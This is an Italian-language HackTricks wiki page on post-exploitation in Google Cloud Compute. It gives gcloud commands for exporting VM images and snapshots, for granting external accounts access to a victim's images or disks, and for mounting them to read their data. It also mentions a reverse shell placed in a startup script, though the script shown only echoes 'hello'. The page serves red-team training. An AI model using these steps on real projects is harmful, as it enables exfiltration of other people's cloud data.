GCP - Compute Post Exploitation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Compute

Per maggiori informazioni su Compute e VPC (Networking) consulta:

GCP - Compute Enum

Export & Inspect Images locally

Questo permetterebbe a un attaccante di accedere ai dati contenuti all’interno di immagini già esistenti o di creare nuove immagini di VM in esecuzione e accedere ai loro dati senza avere accesso alla VM in esecuzione.

È possibile esportare un’immagine VM in un bucket e poi scaricarla e montarla localmente con il comando:

Esporta e scarica immagine VM ```bash gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk # The download the export from the bucket and mount it locally ```

Per eseguire questa azione l’attaccante potrebbe aver bisogno di privilegi sullo storage bucket e sicuramente di privilegi su cloudbuild in quanto è il servizio che verrà incaricato di eseguire l’export
Inoltre, perché ciò funzioni, il codebuild SA e il compute SA necessitano di permessi privilegiati.
Il cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com necessita di:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

E il SA <project-id>-compute@developer.gserviceaccount.com necessita di:

  • oles/compute.storageAdmin
  • roles/storage.objectAdmin

Esportare e ispezionare snapshot e dischi localmente

Non è possibile esportare direttamente snapshot e dischi, ma è possibile trasformare uno snapshot in un disco, un disco in un’immagine e, seguendo la sezione precedente, esportare quell’immagine per ispezionarla localmente

Creare un disco da uno snapshot e un'immagine da un disco ```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

Create an image from a disk

gcloud compute images create [IMAGE_NAME] –source-disk=[NEW_DISK_NAME] –source-disk-zone=[ZONE]

</details>

### Ispezionare un'immagine creando una VM

Con l'obiettivo di accedere ai **dati memorizzati in un'immagine** o all'interno di una **VM in esecuzione** da cui un attaccante **ha creato un'immagine,** è possibile concedere a un account esterno l'accesso all'immagine:

<details>

<summary>Concedere accesso all'immagine e creare una VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

e poi creare una nuova VM da essa:

Crea un'istanza VM dall'immagine ```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```

Se non riuscissi a dare al tuo account esterno accesso all’image, potresti avviare una VM usando quell’image nel progetto della vittima e far sì che i metadata eseguano una reverse shell per accedere all’image aggiungendo il parametro:

Crea VM con reverse shell nei metadata ```bash --metadata startup-script='#! /bin/bash echo "hello"; ' ```

Ispezionare uno Snapshot/Disco collegandolo a una VM

Con l’obiettivo di accedere ai dati memorizzati in un disco o in uno snapshot, puoi trasformare lo snapshot in un disco, un disco in un’immagine e seguire i passaggi precedenti.

Oppure puoi concedere l’accesso a un account esterno sul disco (se il punto di partenza è uno snapshot, concedi l’accesso allo snapshot o crea un disco da esso):

Concedere accesso al disco ```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```

Allega il disco a un’istanza:

Allega il disco all'istanza ```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```

Montare il disco nella VM:

  1. Connettiti via SSH alla VM:
SSH nella VM e montare il disco
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identificare il disco: Una volta nella VM, identifica il nuovo disco elencando i dispositivi disco. Tipicamente lo troverai come /dev/sdb, /dev/sdc, ecc.
  2. Formattare e montare il disco (se è un disco nuovo o raw):
  • Creare un punto di mount:
Creare il punto di mount
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Montare il disco:
Montare il dispositivo del disco
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Se non puoi dare accesso a un progetto esterno allo snapshot o al disco, potrebbe essere necessario eseguire queste azioni all’interno di un’istanza nello stesso progetto dello snapshot/disk.

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks